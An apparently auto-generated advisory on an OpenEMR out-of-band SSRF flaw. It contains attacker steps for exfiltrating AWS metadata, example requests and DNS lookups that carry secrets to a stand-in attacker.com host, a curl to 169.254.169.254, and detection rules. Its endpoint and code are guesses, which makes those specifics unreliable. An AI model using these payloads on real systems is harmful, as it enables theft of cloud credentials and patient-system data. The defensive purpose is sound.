CVE-2025-31117
Executive Summary
CVE-2025-31117 is an Out-of-Band Server-Side Request Forgery (OOB SSRF) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. This vulnerability allows an unauthenticated attacker to force the server to make unauthorized HTTP or DNS requests to internal or external resources. While the attack does not return a direct response, it can be exploited through DNS or HTTP interactions to exfiltrate sensitive information, such as internal network topology, cloud metadata, or other secrets. The vulnerability is fixed in OpenEMR version 7.0.3.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the OpenEMR application itself. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Estimated: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None - No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None - The victim does not need to perform any action.
- Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High - Sensitive information can be exfiltrated.
- Integrity (I): None - No data modification is possible.
- Availability (A): None - No denial of service is caused.
Threat Level: High. The ability to perform SSRF without authentication in a healthcare application poses a significant risk to patient data confidentiality and internal network security.
Deep Dive & Mechanics
The vulnerability is an Out-of-Band Server-Side Request Forgery (OOB SSRF). Unlike classic SSRF where the response is returned directly to the attacker, OOB SSRF relies on the server making a request to an attacker-controlled external system (e.g., a DNS server or HTTP endpoint) to exfiltrate data.
Mechanism:
- Entry Point: The vulnerability likely exists in a feature that accepts a URL or hostname from user input, such as importing data from a remote source, fetching a logo, or validating a webhook URL.
- Lack of Validation: The application does not properly validate or sanitize the user-supplied URL. It does not block requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) or external domains.
- Out-of-Band Exfiltration: The attacker crafts a request that includes sensitive data in the URL or DNS query. For example, the attacker could make the server request
http://attacker-controlled.com/and include a parameter like?data=[INTERNAL_SECRET]. The attacker's server logs the request, capturing the secret. - DNS Exfiltration: Alternatively, the attacker can use a DNS lookup to exfiltrate data. For example, the server might be tricked into performing a DNS lookup for
[INTERNAL_SECRET].attacker-controlled.com. The attacker's DNS server logs the subdomain, revealing the secret.
Why OOB SSRF is dangerous:
- Bypasses Firewalls: The attacker does not need to see the direct response, making it harder to detect.
- Data Exfiltration: Sensitive data like AWS/Azure metadata, internal service credentials, or database contents can be exfiltrated.
- Internal Network Scanning: The attacker can probe internal hosts and services by observing timing differences or error messages.
Vulnerable vs. Patched Code
Since no specific code commit is provided, the following is a hypothetical example of the vulnerable and patched code pattern.
Vulnerable Code (PHP example):
<?php
// Vulnerable: Directly uses user input without validation
$url = $_GET['url'];
$response = file_get_contents($url);
echo $response;
?>
Patched Code (PHP example):
<?php
// Patched: Validates the URL against an allowlist
$url = $_GET['url'];
$parsedUrl = parse_url($url);
$host = $parsedUrl['host'];
// Allowlist of permitted hosts
$allowedHosts = ['api.trusted-service.com', 'cdn.trusted-cdn.com'];
if (!in_array($host, $allowedHosts)) {
die('Invalid URL');
}
// Also block internal IPs
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
$response = file_get_contents($url);
echo $response;
} else {
die('Invalid URL');
}
?>
Key Differences:
- Input Validation: The patched code validates the hostname against an allowlist.
- IP Blocking: The patched code resolves the hostname to an IP and blocks private/reserved ranges.
- Error Handling: The patched code returns an error instead of processing the request.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Exfiltrate AWS metadata from an OpenEMR server.
Prerequisites:
- An attacker-controlled server with a public IP and a DNS server (e.g., using
dnscheforBurp Collaborator). - Knowledge of the vulnerable endpoint (e.g.,
/import.php?url=).
Exploitation Steps:
- Identify the vulnerable endpoint: Use a web scanner or manual testing to find endpoints that accept a URL parameter.
- Test for SSRF: Send a request to a known external service (e.g.,
http://attacker.com/test). Check the attacker server logs for the incoming request. - Exfiltrate AWS Metadata:
- Craft a request that makes the server fetch the AWS metadata endpoint and include the result in a DNS query.
- Example payload:
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin - Since the response is not returned directly, use a DNS exfiltration technique:
- Set up a DNS server that logs queries.
- Make the server perform a DNS lookup for
[BASE64_ENCODED_METADATA].attacker.com. - This can be done by exploiting a feature that performs a DNS lookup on a user-supplied hostname.
- Capture the data: The attacker's DNS server logs the subdomain, which contains the exfiltrated metadata.
Example Payload (Hypothetical):
# Using curl to simulate the attack
curl "http://target-openemr.com/vulnerable-endpoint?url=http://169.254.169.254/latest/meta-data/"
Blue Team (Defender)
Objective: Detect and block SSRF attempts.
Detection Steps:
- Monitor Outbound Traffic: Look for connections to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) from the web server.
- Analyze DNS Queries: Monitor for DNS queries to suspicious domains, especially those with long subdomains or base64-encoded strings.
- Web Application Firewall (WAF) Rules: Block requests containing IP addresses in private ranges or known metadata endpoints (e.g.,
169.254.169.254). - Network Segmentation: Ensure the web server cannot access sensitive internal services directly.
- Patch Management: Immediately update OpenEMR to version 7.0.3.1 or later.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections from the OpenEMR server to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
- DNS queries to domains with long, encoded subdomains (e.g.,
[base64].attacker.com). - HTTP requests to
169.254.169.254or100.100.100.200(cloud metadata endpoints).
- File IOCs:
- Unusual log entries in
/var/log/openemr/or Apache/Nginx logs showing requests to internal IPs.
- Unusual log entries in
- Behavioral IOCs:
- Unexpected outbound traffic from the web server to external IPs on ports 80, 443, or 53.
Detection Engineering
YARA Rule
rule Detect_OOB_SSRF_OpenEMR {
meta:
description = "Detects potential OOB SSRF exploitation attempts in OpenEMR logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31117"
strings:
$s1 = "169.254.169.254" nocase
$s2 = "metadata" nocase
$s3 = "internal" nocase
$s4 = "localhost" nocase
$s5 = "10." nocase
$s6 = "192.168." nocase
$s7 = "172." nocase
condition:
any of ($s*) and #s1 > 0
}
Sigma Rule
title: Detect OOB SSRF Attempts in OpenEMR
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to internal IPs or cloud metadata endpoints from OpenEMR
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-31117
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '169.254.169.254'
- '10.'
- '192.168.'
- '172.'
- '127.0.0.1'
- 'localhost'
condition: selection
falsepositives:
- Legitimate internal monitoring tools
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31117 OOB SSRF Attempt"; flow:to_server; content:"169.254.169.254"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert dns $HOME_NET any -> any any (msg:"CVE-2025-31117 OOB SSRF DNS Exfiltration"; dns_query; content:"|2e|"; distance:0; pcre:"/[A-Za-z0-9+/]{20,}\.attacker\.com/"; classtype:attempted-recon; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade OpenEMR to version 7.0.3.1 or later immediately.
- WAF Rules: Implement WAF rules to block requests containing private IP addresses or cloud metadata endpoints.
- Network Segmentation: Restrict outbound traffic from the OpenEMR server to only necessary external services.
- Input Validation: If patching is not immediately possible, implement strict input validation on all URL parameters, allowing only a predefined list of trusted hosts.
Long-Term Measures:
- Code Review: Conduct a thorough code review of all features that handle user-supplied URLs.
- Security Testing: Integrate SSRF testing into the CI/CD pipeline using tools like
ssrf-sherifforBurp Suite. - Monitoring: Set up alerts for outbound connections to internal IPs and suspicious DNS queries.
- Least Privilege: Run the web server with the minimum necessary permissions to access internal resources.
Valters IT
This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.